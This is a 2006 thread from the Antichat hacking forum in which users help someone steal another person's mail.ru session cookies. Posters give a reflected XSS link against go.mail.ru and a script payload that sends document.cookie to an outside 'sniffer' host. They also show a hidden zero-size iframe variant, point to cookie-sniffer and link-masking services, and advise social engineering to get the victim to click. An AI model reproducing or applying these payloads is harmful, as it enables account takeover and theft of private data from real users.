Форум АНТИЧАТ
Страница 1 из 2 1 2 >
Показывать 40 сообщений этой темы на одной странице

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   E-Mail (https://forum.antichat.xyz/forumdisplay.php?f=14)
-   -   Xss на mail.ru (https://forum.antichat.xyz/showthread.php?t=19652)

em00s7 25.05.2006 20:05
Xss на mail.ru
 
Подкиньте пожалуста Xss на mail.ru зарание спасибо=)

Go0o$E 25.05.2006 20:33
А на go.mail.ru нормально будет 8) В Баги на сайтах кинул. Вот - http://forum.antichat.ru/showthread....788#post155788

em00s7 25.05.2006 20:36
Профиксили уже =(

Go0o$E 25.05.2006 20:40
Какое пофиксили!? Пробелы все в ссылке убери.

em00s7 25.05.2006 21:10
Go0o$E спасибо объясните плиз как её использовать ?? чтобы украсть куки

GreenBear 25.05.2006 22:21
Для ознакомления:
https://forum.antichat.ru/thread18719.html

Чтобы куки украсть достаточно в уязвимом параметре написать:
Код:
<srcipt src=http://site.ru/js.js></script>
В самом файле js.js
Код:
img = new Image();
img.src = "http://sniffer/sn.php?"+document.cookie;
Этот способ хорош тем, что работает даже там, где фильтруються ковычки.

Зарегить сниффер можно на http://antichat.org/sniffer or http://s.netsec.ru/
Замаскировать линк можно http://loc.netsec.ru/
Но лучше делать в ифрейме, например
Код:
<iframe src="http://site.ru/?para=<script src=http://site.ru/js.js></script>" frameborder="0" widht="0" height="0">
Что не понятно - спрашивай.

em00s7 25.05.2006 22:59
Green_Bear в спасибо огромное)) я уж думал что ппц

Sn@k3 30.05.2006 00:37
А как же это:
ВНИМАНИЕ!
Данное письмо содержит потенциально опасный HTML-код,
заблокированный автоматической системой безопасности.

iframe - неработает, думаю прокатить тока не в майл ру, а напрример на гмайл ит.д.

GreenBear 30.05.2006 08:14
Цитата:
А как же это:
ВНИМАНИЕ!
Данное письмо содержит потенциально опасный HTML-код,
заблокированный автоматической системой безопасности.

iframe - неработает, думаю прокатить тока не в майл ру, а напрример на гмайл ит.д.
Додумался, я дал пример использования пассивной ксс, а не в теле письма его присылать :)

*Van* 30.05.2006 15:01
em00s7, ты должен отослать тому челу, которого хочешь взломать такую ссылку:

Код:
http://go.mail.ru/search?lfilter=y&q=%25CF%25F1%25E8%25F5%25EE%25EB%25EE%25E3%25E8%25%20%20FF%2B%25F1%25EE%25E1%25E0%25EA%2B%253C%253C%2Burl%%20%20253D%2522www%2Edogcatalog%2Enet%252F%2A%2522&num=10&as_q=1&old_q=%25F1%25E0%25E9%25F2%25EE%25E2%2B%25F1%25EE%%20%2025E7%25E4%25E0%25ED%25E8%25E5&surl=%3Cscript  src=http://site.ru/js.js%3E%3C/script%3E
Ну и применить СИ, чтобы он её открыл.

Что делать с http://site.ru/js.js, объяснил Green_Bear.


Время: 14:42
Страница 1 из 2 1 2 >
Показывать 40 сообщений этой темы на одной странице